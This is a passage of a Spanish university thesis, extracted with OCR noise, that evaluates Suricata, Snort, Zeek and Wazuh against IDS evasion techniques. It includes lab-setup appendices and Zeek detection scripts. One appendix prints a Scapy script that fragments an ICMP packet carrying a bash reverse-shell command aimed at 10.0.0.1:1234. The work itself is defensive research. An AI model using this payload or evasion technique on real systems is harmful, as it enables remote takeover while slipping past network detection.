o Amplia cobertura mediante firmas.
o Multihilo, ideal para entornos de alto trafico.
o Compatible con herramientas como Wazuh por sus logs JSON.
e Debilidades:
o No detecta evasiones por tiempo ni ofuscacion avanzada.

o Limitada frente a contenido cifrado o comprimido.

Snort

Snort presentd un rendimiento casi idéntico al de Suricata en lo que a deteccion
respecta, ya que se emplearon las mismas reglas de Proofpoint, disponibles para ambos.
Las diferencias fueron causadas por diferencias entre los conjuntos de reglas, lo cual no
es relevante debido a la facilidad de crear reglas personalizadas.

e Fortalezas:
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o Buen motor de deteccion por firmas.

o Resultados comparables a Suricata con mismo conjunto de reglas.
o Debilidades:

o No es multihilo (menos eficiente en entornos exigentes).

o La integraciéon con Wazuh es problematica: el modulo JSON no incluye
campos clave como el mensaje de alerta, dificultando enormemente su
utilidad en el SIEM.

o Instalacion compleja. Se encontraron errores en la ejecucion de Snort en
la distribucion Kali Linux, con lo que se procedio a instalarlo en Ubuntu.
Fue necesario instalar una gran cantidad de dependencias, ya sea desde el
repositorio de Ubuntu, o desde repositorios de Github. [77]

Zeek

Zeek destaco como IDS basado en comportamiento. A diferencia de Snort y
Suricata, su potencia radica en la capacidad de analizar flujos y detectar patrones
andmalos. No obstante, fue necesario desarrollar scripts personalizados (algunos basados
en la comunidad) para que detectase la mayoria de técnicas.

e Fortalezas:

o Deteccion por comportamiento (Aunque es posible generar alertas en base
a firmas, no es su propdsito objetivo).

o Alto valor en analisis forense y correlacion de eventos.
o Estructura modular, adaptable mediante scripting.

o Alta configuracion del IDS, por ejemplo, a pesar de que por defecto los
logs se guardan en texto plano. Zeek dispone de un script que cambia el
lenguaje de escritura a JSON.

e Debilidades:
o Deteccion limitada en caso de no crear script personalizados.
o Lainversion inicial hasta que produzca resultados es alta

o Curva de aprendizaje alta.

Wazuh

Wazuh oper6 como HIDS y SIEM permitiendo la visualizacion centralizada de
alertas de los IDS, ademés de destacar la importancia de la correlacién de eventos en
técnicas como la Fuerza Bruta espaciada por tiempo, o durante la ingesta de alertas
provenientes de los NIDS.
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Fortalezas:
o Deteccion efectiva a nivel de host.
o Capacidad SIEM para correlacion y priorizacion de eventos.

o Excelente integracion con herramientas como Suricata 'y Zeek que ofrecen
buenos logs en formato JSON.

o Fécil y répida instalacion

o Equipo de trabajo de Wazuh muy implicado en el proyecto. Muy activos
en foros resolviendo dudas, e incidencias. Ademas de actualizaciones
periddicas.

Debilidades:

o La creacion de decoders frente a logs no estandar es una tarea compleja.
Requiere mucho tiempo para comprobar todos los logs que se reciben, y
asegurarse de que concuerden con una expresion regular que decodifique
correctamente los campos.

10.3 Observaciones generales

Suricata y Snort son técnicamente muy similares, ya que es posible utilizar reglas
equivalentes en la mayoria de las ocasiones. No obstante, Suricata demostr6
mayor usabilidad, menor complejidad en la instalacion y mejor integracion con
sistemas SIEM como Wazuh.

Las diferencias entre estos IDS no deben medirse solo por su capacidad de
deteccion, sino también por su rendimiento, facilidad de administracion e
interoperabilidad.

Zeek debe entenderse no como un competidor directo de Suricata y Snort, sino
como una solucién complementaria. Su deteccion depende de la creacion de
scripts, lo que implica un enfoque potente y flexible, ideal para entornos
complejos.

Aunque por lo general no se suelen usar dos NIDS diferentes por el gasto
econdmico adicional que supone, la combinacion de un IDS basado en firmas con
Zeek puede resultar altamente eficaz. Suricata y Snort ofrecerian deteccion rapida
y precisa de amenazas conocidas, mientras que Zeek permitiria identificar
comportamientos sospechosos que no responden a patrones predefinidos.

Wazuh cumplié un rol clave como sistema de deteccion en el host y como
plataforma de centralizacion, permitiendo visualizar correlaciones entre eventos
de distintas fuentes. Su eficacia como SIEM depende directamente de la calidad
de los logs recibidos y las reglas configuradas.
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Este proyecto de fin de titulo ha permitido analizar en profundidad la efectividad
y caracteristicas de distintas soluciones de deteccion de intrusiones: Suricata, Snort, Zeek
y Wazuh, evaluando sus fortalezas, limitaciones y comportamiento frente a técnicas de
evasion reales. La comparacion practica de estas herramientas ha ofrecido una vision
global sobre como deben integrarse y ajustarse en un entorno de ciberseguridad efectivo.

Una de las conclusiones mas relevantes es que no existe una solucion tinica y
universal. Cada herramienta tiene un enfoque distinto y, en conjunto, pueden
complementarse para ofrecer una cobertura mas robusta.

Mejora continua y adaptacion al entorno

Un aspecto clave de la gestion de sistemas IDS es que su eficacia depende de la
mejora continua de las reglas o scripts, y de adaptarse a las condiciones del entorno.
Tanto los IDS basados en firmas (como Suricata y Snort) como los basados en
comportamiento (Zeek) requieren mantenimiento constante:

o Lasreglas deben ajustarse y filtrarse para reducir falsos positivos sin comprometer
la visibilidad.

e Los scripts personalizados deben adaptarse a los patrones de trafico legitimo de
cada red.

o Es habitual encontrar falsos positivos en las fases iniciales de despliegue o al
afiadir nuevas firmas o reglas de correlacion.

Por lo tanto, la implementacion de un IDS debe entenderse como un proceso continuo
que incluye 3 aspectos fundamentales: monitorizacion, analisis y mejora.

Complementariedad entre IDS de red

Desde los primeros ataques simulados, se detectaron grandes similitudes entre
Snort y Suricata, ya que son muy similares al depender de reglas para alertar sobre lo que
sucede en la red. Y esto se acentud aiin mas al utilizar reglas equivalentes en ambos
sistemas. Sin embargo, Suricata demostr6 mayor facilidad de instalacion y mejor
integracion con sistemas SIEM como Wazuh, diferencidndose en gran medida de Snort.
A esto se le afiade que Suricata al ser multihilo, tiene ain mas potencial en un entorno de
produccion real, ya que deberia de poder aprovechar mejor los recursos adicionales que
Snort.

Zeek, por su parte, no debe considerarse un competidor directo, sino una
herramienta complementaria, ideal para deteccion basada en comportamiento, analisis
forense y correlacion avanzada.

Otro concepto muy interesante es la combinacion de uso de un NIDS basado en
firma junto a otro basado en comportamiento, permitiendo detectar ambos espectros:
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amenazas conocidas (detectables mediante firmas) y comportamientos andémalos no
registrados (detectables mediante comportamiento). Aunque en un entorno real tener 2
NIDS implicaria una mayor carga administrativa y econémica, con lo que se debe ser
prudente.

Wazuh como HIDS y SIEM

En cuanto a Wazuh, ha demostrado ser una herramienta versatil y poderosa al
ofrecer tanto funciones de HIDS como capacidades de SIEM. Su uso como HIDS ha
permitido detectar comportamientos maliciosos locales, como borrado de logs,
desactivacion de agentes, o ataques de fuerza bruta, demostrando un gran potencial en
esta drea. Aunque personalmente destacaria més su rol como SIEM, ya que la
centralizacion es una funcionalidad muy potente para la visibilidad de un analista de
ciberseguridad, ayudando a convertir la telemetria en informacion valiosa para tomar
decisiones.

A nivel técnico, la integracion con Suricata y Zeek fueron fluidas gracias al uso
del formato JSON, mientras que con Snort surgieron dificultades importantes debido a
deficiencias en el médulo de exportacion JSON, que omite campos criticos para un SIEM,
tal como el mensaje de alerta.

Esto se relaciona estrechamente con la eficacia de Wazuh como sistema SIEM, ya
que su rendimiento depende directamente de la calidad estructural de los logs que recibe.
No se trata inicamente de si el formato es JSON o texto plano, sino de que los registros
mantengan una estructura coherente. Los logs que siguen un formato definido son
facilmente decodificables, mientras que aquellos que presentan una gran variedad de
estructuras sin un estandar claro resultan mucho mas complejos de interpretar.

Esta situacion representa una desventaja importante, ya que la creacion de
decodificadores personalizados puede requerir una inversion considerable de tiempo,
especialmente cuando se trabaja con logs no estructurados o mal formateados. Por esta
razoén, a pesar de su gran capacidad, Wazuh exige una configuracion y validacion
exhaustiva, lo cual puede representar un reto significativo en entornos empresariales que
utilicen multiples herramientas y fuentes de datos.

Conclusion general

Durante el desarrollo del proyecto, se ha constatado que una arquitectura de red
eficaz para la deteccion y monitorizacion de amenazas se sustenta en tres pilares
fundamentales: complementariedad, visibilidad y adaptabilidad. La combinacion de
herramientas como sistemas de deteccion de intrusiones (IDS), plataformas SIEM,
soluciones EDR vy firewalls conforma una capa de defensa robusta. Esta permite
detectar tanto amenazas conocidas como comportamientos anomalos o maliciosos,
correlacionar eventos de forma eficiente y facilitar una respuesta rapida ante incidentes
de seguridad.
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Sin embargo, el éxito de esta arquitectura no depende unicamente de la eleccion
de herramientas, sino también de su configuracion adecuada, su integracion efectiva y
un mantenimiento constante. Por ejemplo, un IDS no alcanza su maximo potencial con
una configuracion predeterminada: se trata de un componente activo que requiere ajustes
continuos, revision periddica y adaptacion al entorno especifico de la red. Ademas, el uso
exclusivo de reglas por defecto puede resultar contraproducente, ya que los atacantes
pueden estudiarlas para evadirlas facilmente.

Esta necesidad de actualizaciéon y ajuste continuo se extiende a todas las
soluciones de ciberseguridad. En un entorno tan dindmico como el de la ciberdefensa,
donde los vectores de ataque y las tacticas evolucionan constantemente, la resiliencia de
la arquitectura depende directamente de su capacidad de adaptacion.

Entre los conceptos clave identificados, destaca la Triada de Visibilidad de un
SOC, propuesta por Anton Chuvakin, que resalta la importancia de contar con visibilidad
en los endpoints, la red y los logs [57]. También es fundamental la capacidad de
transformar la telemetria en conocimiento accionable, asi como la necesidad de mantener
esta arquitectura en constante evolucion para garantizar una defensa efectiva frente a
amenazas emergentes.

11.1 Objetivos alcanzados

Todos los objetivos planteados al inicio del proyecto han sido cumplidos
satisfactoriamente, lo que demuestra la viabilidad técnica, metodoldgica y practica del
trabajo realizado. A continuacion, se detallan los objetivos propuestos junto con su grado
de cumplimiento:

o Analisis de la efectividad de IDS frente a técnicas de evasion:
Se evalu6 el comportamiento de los sistemas seleccionados (Suricata, Snort, Zeek
y Wazuh) ante técnicas de evasion reales, verificando su capacidad de deteccion
y documentando sus respuestas ante escenarios de intrusion simulada.

o Investigacion de técnicas de evasion empleadas en ataques reales:
Se identificaron y estudiaron técnicas con alta tasa de éxito frente a IDS
tradicionales, sirviendo como base para los escenarios practicos del laboratorio.

o Seleccion de herramientas representativas:
Se eligieron IDS ampliamente utilizados en entornos profesionales y de codigo
abierto, garantizando su relevancia tanto académica como en el ambito de la
ciberseguridad empresarial.

o Disefio de un entorno de laboratorio homogéneo y replicable:
Se configuraron entornos virtualizados estandarizados que permitieron desplegar
cada IDS bajo condiciones similares, asegurando la comparabilidad de los
resultados.

o Ejecucion practica de ataques con técnicas evasivas:
Cada IDS fue sometido a escenarios con intentos de evasion. Se observaron
diferencias en el nivel de deteccion y la generacion de alertas, lo que permitid
evaluar su eficacia en condiciones controladas.
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Analisis comparativo y documentacion técnica:

Se elaboro6 un estudio comparativo que resalta las fortalezas y limitaciones de cada
herramienta. Ademas, se gener6 documentacion exhaustiva que detalla la
metodologia, resultados y configuraciones empleadas, con valor tanto académico
como profesional.

11.2 Objetivos adicionales alcanzados

Ademas de los objetivos previstos, durante el desarrollo del proyecto se alcanzaron otros
logros relevantes que enriquecen el valor técnico y practico del trabajo:

o

Integracion avanzada con Wazuh como SIEM/HIDS:

Se logrd una integracion efectiva con Wazuh, destacando sus capacidades de
correlacion y visualizacion de alertas, y abordando las dificultades encontradas,
ya sea respecto a los logs JSON de Snort o la creacion de pipelines de filebeat
para modificar un campo de Zeek que no permitia la indexacion de logs al
Dashboard.

Conversion y adaptacion de reglas de Snort 2 a Snort 3.

Se utilizd6 la herramienta snort2lua para adaptar reglas desactualizadas,
solucionando incompatibilidades de sintaxis y mostrando la capacidad de
migracion de reglas entre versiones.

Desarrollo de scripts personalizados en Zeek:

Se crearon y probaron scripts especificos para la deteccion de comportamientos
maliciosos, lo que permitié extender significativamente las capacidades nativas
de Zeek.

Automatizacion parcial del flujo de ingestion de logs en JSON:

Se configuraron IDS para emitir eventos en formato JSON, simplificando la
integracion con sistemas de analisis como Wazuh y demostrando buenas practicas
de interoperabilidad.

Diagnéstico de problemas reales de interoperabilidad entre IDS y SIEM:

Se identificaron limitaciones técnicas en la exportacion de logs (como la ausencia
de campos clave en el JSON de Snort), lo cual aporta un conocimiento practico
valioso para despliegues reales.

11.3 Trabajo futuro

Aunque los objetivos planteados en este proyecto han sido alcanzados con éxito,

existe margen para continuar y profundizar en diversas areas que permitirian enriquecer
aun mas los resultados obtenidos. A continuacién, se presentan algunas lineas de trabajo

futuro, aspectos pendientes y extensiones viables:

Lineas de trabajo futuro

o

Despliegue en entornos reales:
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Una posible linea de desarrollo consiste en implementar sistemas como Suricata
o Zeek directamente en la red de la universidad, lo cual permitiria realizar un
analisis continuo del trafico real y detectar posibles amenazas o anomalias en un
entorno productivo. Esta implementacién, junto con una configuracion avanzada
de Wazuh como SIEM, facilitaria la correlacion y visualizacion centralizada de
eventos en tiempo real.

Optimizacion y automatizacion de reglas/scripts:

Se plantea como continuacién natural la mejora de las reglas de deteccion (en
Suricata/Snort) y de los scripts personalizados (en Zeek), con el objetivo de
hacerlos més robustos, eficientes y especificos. La automatizacion parcial en su
generacion o ajuste segun el contexto de red también representa un area de
investigacion interesante.

Monitorizacion de amenazas sofisticadas y APTs:

A medida que los atacantes adoptan técnicas mas avanzadas, resulta necesario
evolucionar también las capacidades de deteccion. Una linea futura puede
centrarse en la identificacion de amenazas persistentes avanzadas (Advanced
Persistent Threats) y técnicas de evasion mds sofisticadas, que requieran un
enfoque hibrido entre firmas, comportamiento y analisis contextual.

Aspectos pendientes

o Mayor dedicacion al desarrollo de firmas y scripts avanzados:

Aunque se han disefiado y probado reglas y scripts funcionales, habria sido
deseable contar con mas tiempo para desarrollar mecanismos de deteccion mas
complejos y adaptativos. La escritura de firmas precisas o scripts modulares
representa una tarea que, aunque compleja, puede incrementar notablemente la
eficacia de un IDS.

Pruebas prolongadas en escenarios realistas:

Las pruebas se realizaron en un entorno controlado y acotado. Realizar
experimentos prolongados bajo condiciones mas realistas (como trafico mixto,
picos de carga o escenarios con multiples vectores de ataque) permitiria validar
con mayor profundidad la eficacia operativa de cada solucion.

Posibles extensiones

o Integracion con técnicas de Machine Learning o deteccion basada en IA:

Una evolucion natural del proyecto podria consistir en integrar modelos de
aprendizaje automatico que complementen las detecciones tradicionales,
ayudando a identificar patrones ocultos o nuevas amenazas no contempladas en
las reglas actuales.

Simulacion de campafas de ataque multietapa:

En futuras iteraciones, se podrian disefiar campafias de ataque mas completas, que
combinen multiples fases de intrusion, lateralizacion y exfiltracion, permitiendo
evaluar la capacidad de los IDS para correlacionar eventos complejos.
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o Despliegue distribuido con respuesta automatica:
Finalmente, otra extension interesante seria implementar una arquitectura
distribuida de IDS/HIDS coordinados con Wazuh, que no solo detecte amenazas,
sino que también ejecute respuestas automaticas ante eventos criticos, como
aislamiento de nodos o bloqueo de IPs.

Este conjunto de posibilidades pone de manifiesto que el campo de la deteccion
de intrusiones esta en constante evolucion y que, incluso una vez completado este

proyecto, siempre existe la opcion de dar un paso mas alla, incorporando nuevas
tecnologias, casos de uso y niveles de sofisticacion.
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12.1 Creacion de Red NAT en VirtualBox

Establecer una Red NAT en VirtualBox es muy simple, basta con acceder al

apartado de administracion de redes: “Archivo -> Herramientas -> Administrador de
Red”.

2 Oracle VirtualBox Administrador
Archivo Ma&quina Red Ayuda

& Preferencias... Control+G

n Importar servicio virtualizado... Control+l

N Exportar servicio virtualizado... Control+E

Herramientas » @ Administrador de paquetes de extensiones Control+T

€ Comprobar actualizaciones... ®1 Administrador de medios virtuales Control+D

A\ Reiniciar todas las advertencias #5 Administrador de red Control+H
® salir Control+Q &) Administrador de perfil cloud Control+P

SuiiLala Rail

F( Visién general de actividad de MV
- © Apagada a - 7

Hlustracion 12.1: Seccion de "Administrador de Red" en VirtualBox. Fuente: Elaboracion propia

Tras ello, en la seccion de Redes NAT de VirtualBox, se procede a crear una nueva
red. Por defecto, se asigna el prefijo IPv4 “10.0.2.0/24”, aunque puede modificarse. En
este caso se asigno “10.0.4.0/24”, con el servicio DHCP habilitado y el nombre de red
“internet”. Esta configuracion simula una red real con conectividad tanto entrante como
saliente, emulando el comportamiento de una red doméstica o empresarial con acceso a
internet.

ey

Crear  Eliminar Propiedades

Redes solo-anfitrion Redes NAT Redes en la nube

Nombre “ Prefijo IPv4 Prefijo IPv6 Servidor DHCP
internet 10.0.4.0/24 fd17:625c:f037:4::/64 Habilitado

llustracion 12.2: Red NAT "internet" en VirtualBox. Fuente: Elaboracion propia

12.2 Instalacion Maquina Atacante.

Para desempeifiar el rol de atacante, se creard una maquina virtual dedicada
exclusivamente a este proposito. Existen dos distribuciones ampliamente utilizadas en el
ambito de la ciberseguridad: Kali Linux y Parrot OS. Ambas estan disefiadas
especificamente para realizar pruebas de penetracion y otras actividades ofensivas, e
incluyen por defecto, o mediante sus repositorios oficiales, una amplia gama de
herramientas especializadas.
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En este laboratorio se ha optado por utilizar una instancia de Kali Linux, la cual
puede descargarse desde su sitio web oficial. Esta distribucion ofrece versiones
optimizadas para distintos entornos de virtualizacion, incluyendo una version
especialmente preparada para VirtualBox, que es la plataforma empleada en este entorno.

Desde el sitio web mostrado en la Ilustracion anterior, se descarga un archivo
comprimido que contiene la maquina virtual lista para ser utilizada en VirtualBox. Al
descomprimir este archivo, se obtienen archivos: uno de configuracion de VirtualBox, y
otro del disco virtual asociado. Una vez importada la maquina, se pueden realizar ajustes
personalizados, como asignar un mayor espacio de almacenamiento, ajustar la memoria
RAM, cambiar el nombre de la maquina, y configurar el adaptador de red para que utilice
la Red NAT previamente creada.

~ al principio de este afio

¥ kali-linux-2025.1c-virtualbox-amd64 Virtual Disk Image 14.679.361 KB

% kali-linux-2025.1c-virtualbox-amd64 VirtualBox Machine Definition 3KB

llustracion 12.3: Archivos descargados tras la descompresion. Fuente: Elaboracion propia

Una vez configurada, la maquina deberia contar con acceso a internet y
conectividad con otras maquinas dentro de la red interna. En caso contrario, se
recomienda verificar que la configuracion de red de Kali esté ajustada a DHCP, y que
efectivamente se esté asignando una direccion IP valida. También es importante
asegurarse de que VirtualBox esté actualizado a su versidn mads reciente, ya que en
versiones anteriores se detectd un problema que impedia el acceso a internet, permitiendo
unicamente conectividad interna. Este inconveniente se resolvi6 actualizando VirtualBox.

12.3 Instalacion y configuracion Metasploitable2

Para la puesta en practica de técnicas de evasion en entornos virtuales, es
fundamental contar con maquinas virtuales disefladas para ser vulnerables.
Metasploitable 2 es una distribucion de Linux creada especificamente como objetivo
vulnerable en laboratorios de ciberseguridad [78]. Para instalar esta maquina, se descarga
el disco virtual de la instancia desde la plataforma “SourceForge” [79], y se crea la
maquina virtual a partir de dicho disco.
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® Lkar un archi

w Linux

vpe:  Ovacle Linux

ion:  Ovache Linux (§4-bit)

llustracion 12.4: Creacion de la maquina virtual a partir de disco virtual. Fuente: Elaboracion propia

Una vez creada la maquina, se configura el adaptador de red seleccionando la red
NAT previamente definida como "internet". Esta configuracion utiliza un unico adaptador
de red, lo que limita las opciones a dos modos: “Red NAT” o “Adaptador puente”. Se
recomienda el uso de NAT, ya que aisla la maquina vulnerable de la red fisica real,
reduciendo el riesgo de que sea atacada por actores externos. Por el contrario, el modo
puente conecta la maquina directamente a la red fisica, lo cual no es aconsejable en este
tipo de entornos, ya que expone innecesariamente un sistema intencionadamente
vulnerable.

Tras crear la maquina virtual y configurar el adaptador de red, ya puede ser
ejecutada y deberia estar lista para ser utilizada como objetivo en pruebas de ataque. Las
credenciales son “msfadmin” tanto de usuario como de contrasefia.

12.4 Instalacion Metasploitable3

La instalacion de Metasploitable3 requiere la instalacion de la herramienta
Vagrant en el host. Para ello se debe descargar el instalador desde la fuente oficial, y
proceder con la instalacion [80]. Posteriormente, se recomienda reiniciar el equipo para
establecer las variables de entorno corretamente y ejecutar en una terminal de PowerShell
el comando “vagrant up —provider virtualbox”.

Una vez Vagrant esta instalado correctamente se ejecutan los comandos mostrados
en la Ilustracion 12.5, donde se crea un directorio dedicado para Metasploitable 3, se
descarga un archivo de configuracion de Vagrant, y finalmente se ejecuta el comando
“vagrant up”.
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Windows users:

mkdir metasploitable3-workspace

cd metasploitable3-workspace
Invoke-WebRequest -uri “https://raw.githubusercontent.com/rapid7/metasploitable3/master/vagrantfile” -
vagrant up

4 G E——

Ilustracion 12.5: Comandos a ejecutar desde windows para instalar Metasploitable3 Fuente:github.com/rapid7 [81]

Tras su ejecucion, se iniciara automaticamente la creacion de dos maquinas virtuales, una
Metasploitable 3 Windows, y otra Linux, que seran accesinles mediante el usuario y
contrasefia “vagrant”. En caso de que surjan dudas o errores durante el proceso, se

recomienda consultar una guia en video para seguir visualmente los pasos de instalacion.
[82]

12.5 Instalacion Snort

Inicialmente, se intentd realizar la instalacion de Snort utilizando el sistema
operativo Kali Linux, dado que esta distribucion incluye Snort en su repositorio de
herramientas [83]. A través del gestor de paquetes de APT se logr6 instalar el software sin
inconvenientes aparentes. Sin embargo, durante las pruebas se identificaron fallos
relacionados con la ejecucion del servicio, particularmente en la deteccion de trafico y la
generacion de archivos de registro (logs), lo cual comprometia la funcionalidad esperada.

Debido a estos errores, se optod por realizar la instalacion en uno de los sistemas
operativos oficialmente recomendados por los desarrolladores de Snort. Seglin la
documentacién disponible en su sitio web oficial [84], uno de los entornos sugeridos es
Ubuntu 20.04, que fue finalmente el elegido para garantizar una mayor compatibilidad y
estabilidad.

La instalacion se llevo a cabo de forma manual, siguiendo la guia oficial publicada
por los desarrolladores en el repositorio de GitHub de Snort 3 [85]. Dado que Snort 3 no
se encuentra disponible como paquete precompilado en APT para Ubuntu, fue necesario
compilarlo desde su cddigo fuente.

Al leer la guia se identific6 que Snort depende de una gran cantidad de
herramientas externas. Para facilitar esta tarea, se hizo uso de la herramienta de
inteligencia artificial, ChatGPT [86], a la cual se le solicité mediante un prompt, un listado
de comandos para instalar todas las dependencias requeridas de forma automatizada. Esta
estrategia resultd muy efectiva, ya que permitidé cubrir la mayoria de los requisitos
previos, exceptuando un grupo reducido cuya instalacion fallo al no estar disponibles en
los repositorios estandar de Ubuntu, lo que oblig6 a su descarga y compilaciéon manual.

Para ello, se utilizé el comando “git clone”, mediante el cual se descargaron los
repositorios oficiales de bibliotecas como Hyperscan, SafeC Library y LualJIT, entre
otros. Estas herramientas fueron luego compiladas localmente utilizando CMake y
Make, herramientas estandar para la construccion de software en entornos Unix.
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Finalmente, se descargd desde la pagina oficial de Snort, un archivo comprimido
con “libdaq” y otro con la ultima version disponible de Snort. Tras descomprimirlos y
compilarlos, se logré una instalacion funcional y adaptada al sistema, la cual permiti6
ejecutar Snort 3 de forma eficiente, realizar pruebas y recopilar logs correctamente.

Este enfoque, aunque mas complejo y costoso que una instalaciéon automatica,
permitié6 comprender de manera detallada el entorno de ejecucion de Snort, asi como
resolver errores de compatibilidad comunes en entornos de seguridad informatica.

12.6 Instalacion Zeek

Para la instalacion de Zeek, se puede acceder a un recurso indicado en la
documentacion oficial, donde se pueden descargar directamente los binarios, o copiar
comandos preconfigurados para varios sistemas operativos y versiones.

En este proyecto se utilizé el método sugerido para Ubuntu, el cual permite afadir
el repositorio oficial de Zeek y proceder a la instalacion utilizando el gestor de paquetes
del sistema. Esta aproximacion asegura que se instale una version estable y actualizada
del software, sin necesidad de compilar desde codigo fuente ni gestionar manualmente
dependencias externas.

Una vez completada la instalacion, el inico paso adicional necesario es identificar
la interfaz de red que se desea monitorizar. En la mayoria de los sistemas Ubuntu, esta
suele ser “enp0s3” o similar, aunque puede variar dependiendo de la configuracion del
entorno virtual o fisico.

Finalmente, con la interfaz correctamente configurada, se puede utilizar la
herramienta de administracion “zeekctl” para desplegar el sistema mediante el comando
“zeekctl deploy”. Este proceso verifica que todos los componentes estén operativos y
permite comenzar la recoleccion y analisis del trafico de red de manera inmediata.

Gracias a la claridad y simplicidad del proceso de instalacion proporcionado por
el equipo de Zeek, se logrd una implementacion funcional con muy pocos pasos, lo cual
facilito su integracion dentro del entorno de pruebas y analisis de trafico de red.

12.7 Instalacion de agentes de Wazuh

Como modelo de ejemplo, se muestra la instalacion de agente realizada para la
maquina con el IDS Snort. Wazuh tiene una seccion acerca del despliegue de un nuevo
agente en su Dashboard, facilitando la tarea. Simplemente hay que rellenar los campos
solicitados, y automaticamente se mostrara una serie de comandos que ejecutar en el
endpoint en donde se requiere instalar el agente.
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= W Endpaints Deploy new agent a

Deploy new agent

° Select the package to download and install on your system:

A unux 22 wiNDOws & macos
RPM amdfid RPM aarchifd Intel
MS1 32/54 bits Aol
@ DEB amdBd DEE aarchfd Apple sfcon

@ For additional systems and architectures, please check our documentation 2.

° Server address:

This is the address the agent uses to communicate with the server. Enter an IP address or a fully gualified domain name
[FQDM).

Assign a serveraddress ()
10.0.4.12

¥ Remember server address

° Optional settings:

By default, the deployment uses the hostname as the agent name. Optionally, you can use a different agent name in the
field below.

Assign an agent name: 7

Snort

@ The agent name must be unique. It can't be changed once the agent has been enrolled. 2

Select one or more existing groups: &

default = [

° Run the followi ds to d load and install the agent:

packages. wazuh.com/d x/apt/pool/main/wiwazuh-agent /wazuh-agent_4.12.0-1_amd6d.deb && sudo
.8.4.12" WAZUH_AGENT_GROUP="dafault’ WAZUH_AGENT _MAME='Snort’ dpkg -i . /wazuh-
agent_4.12.08-1_amd64 . deb

@ Requirements

= You will need administrator privileges to perform this installation.
+ Snell Bash is required.

Keep in mind you need to run this command in a Shell Bash terminal.

° Start the agent:

sudo systemctl daemon-reload
sudo systemctl ensble wazuh-agent
sudo systemctl start wazuh-egent

Hustracion 12.6: Muestra de la funcion "Deploy New Agent" de Wazuh. Fuente: Elaboracion propia desde Wazuh
Dashboard

Una vez ejecutados los comandos mostrados en la Ilustracion 12.6, se debe
acceder al archivo de configuracion interna del agente, ossec.conf, y modificar la
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direccion IP por defecto, reemplazandola por la correspondiente al servidor central de
Wazuh.

[+1 root@SnortUbuntu: fvarfossec/etc

<ossec_configs
<client>
<server=
<address>10.0.4.7</address=>
<port>1514</port=>
<protocol=tcp</protocol=
< /servers>

llustracion 12.7: Muestra de la seccion de conexion agente-servidor del archivo “ossec.conf”. Fuente: Elaboracion
propia.

Tras realizar esta modificacion, es necesario reiniciar el servicio del agente. A
partir de este momento, el agente deberia establecer conectividad con el servidor central,
lo cual podra confirmarse visualmente desde la seccion Endpoints del Dashboard.
Inicialmente, el agente aparecera con el estado “never comnected”, y una vez que la
conexion se haya establecido correctamente, su estado cambiara a “active”.

= W Endpoints

AGENTS BY STATUS TOP50S

@ Active (2) ubuntu (2)
@ Disconnected (3) @ kali(2)

Pending (2] @ windows (1)

@ Mever connected (0]
llustracion 12.8: Grdficas de los agentes de Wazuh. Fuente: Elaboracion propia

Adicionalmente, si se requiere ingestar registros desde el agente hacia el servidor, es
posible anadir una configuracion similar a la mostrada en la Ilustracion 12.9.

<localfile>
<log_format=syslog</log format=

<location=fvar/logfsnortfalert_fast.log</location=
<flocalfile=

Mlustracion 12.9: Seccion de monitorizacion del archivo "ossec.conf” del agente de wazuh. Fuente: Elaboracion
propia
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12.8 Script de Ataque de Fragmentacion con Scapy

En la Ilustracion 12.10 se muestra un script en Python desarrollado con la libreria
Scapy para realizar una prueba de concepto sobre un ataque de fragmentacion de paquetes
IP.

scapy.all

"10.0.4.10"
"10.0.4.5"
= 0x3039

payload = b"/bin/bash -i >/dev/tcp/10.0.0.1/1234 0>§1"
icmp_pkt = ICMP(type=8, code=@, id=0, seq=0) / Raw(load=payload)

pkt = IP(src=sip, dst=dip, proto=1, id=ip_id) / icmp_pkt

frags = fragment(pkt, fragsize=8)

frag frags:
send(frag)
time.sleep(0.1)

Hlustracion 12.10: Script de Python de envio de payload malicioso fragmentado. Fuente: Elaboracion propia.

El proposito del script es generar y enviar un paquete ICMP con un payload
personalizado, el cual contiene una linea de comando sospechosa que intenta establecer
una conexion inversa (reverse shell) hacia la direccion 10.0.0.1 por el puerto 1234. Este
tipo de comando es cominmente asociado a actividades maliciosas y se utiliza para
obtener control remoto sobre una maquina comprometida.

Para dificultar la deteccion por sistemas de defensa como firewalls o IDS, el
paquete es fragmentado manualmente en bloques de 8 bytes antes de ser enviado. Esto
simula una técnica de evasion en la que el payload completo se reconstruye tinicamente
en el destino, potencialmente evitando su inspeccion durante el transito.

12.9 Script de Zeek para deteccion del comando whoami

La Tlustracion 12.11 muestra un script personalizado escrito en el lenguaje de
eventos de Zeek una plataforma de analisis de trafico de red. Este script estd disefiado
para detectar posibles actividades maliciosas inspeccionando directamente los payloads
de los paquetes TCP en busca de la cadena "whoami".

Esta cadena suele encontrarse en comandos ejecutados por atacantes durante la
fase de reconocimiento, al intentar identificar el contexto del sistema comprometido. La
deteccion de esta palabra en el trafico puede indicar una intrusidon o una ejecucion remota
de comandos.

El script realiza las siguientes funciones:
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e Crea un nuevo flujo de registros personalizados bajo el identificador
LOG_WHOAMI PAYLOAD.

e Escanea cada paquete TCP recibido (evento tcp packet) y evalaa si contiene la
cadena "whoami".

o Si la cadena se encuentra, genera un evento de log registrando la hora, direccion
de la conexidn, direccion (origen o respuesta) y el payload completo detectado.

Este enfoque permite realizar una deteccion activa de indicios de comandos de
reconocimiento a nivel de red, sin depender de firmas completas, lo cual es util en
entornos de monitoreo donde se desea detectar comportamientos genéricos y no solo
ataques conocidos.

module TCPPAYLOAD;

redef enum Log::ID += { LOG_WHOAMI_PAYLOAD };

type Info: record {
ts: time &log;
id: conn_id &log;
direction: string &log;
payload: string &Llog;

}

event zeek_init()
I
L

Log: :create_stream(LOG_WHOAMI_PAYLOAD, [Scolumns=Info]);

print "[ZEEK] Deteccion activa: buscando 'whoami' en payloads TCP...";

}

event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count,

ack: count, len: count, payload: string)
'

if ( len = 0 && /whoami/ in payload )
I
L

-

local dir = is_orig ? "originator” : "responder”;
Log: :write(LOG_WHOAMI_PAYLOAD, [
Sts=network_time(),
$id=c5id,
Sdirection=dir,
Spayload=payload

Hustracion 12.11: Script Zeek para deteccion de la cadena "whoami” en paquetes TCP Fuente: Elaboracion Propia.
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12.11 Script de Zeek para deteccion de tinel DNS

El siguiente anexo presenta un script basado en la plataforma Zeek para la
deteccion de tiineles DNS, una técnica usada para evadir controles de red mediante el uso
del protocolo DNS como canal encubierto de comunicacion.

Este script esta inspirado en uno disponible publicamente en el repositorio de
paquetes de Zeek, Zeek Packages Browser [87].

@load base/frameworks/no
module DNS_TUNNELS;

export {
redef enum

rruchNum )
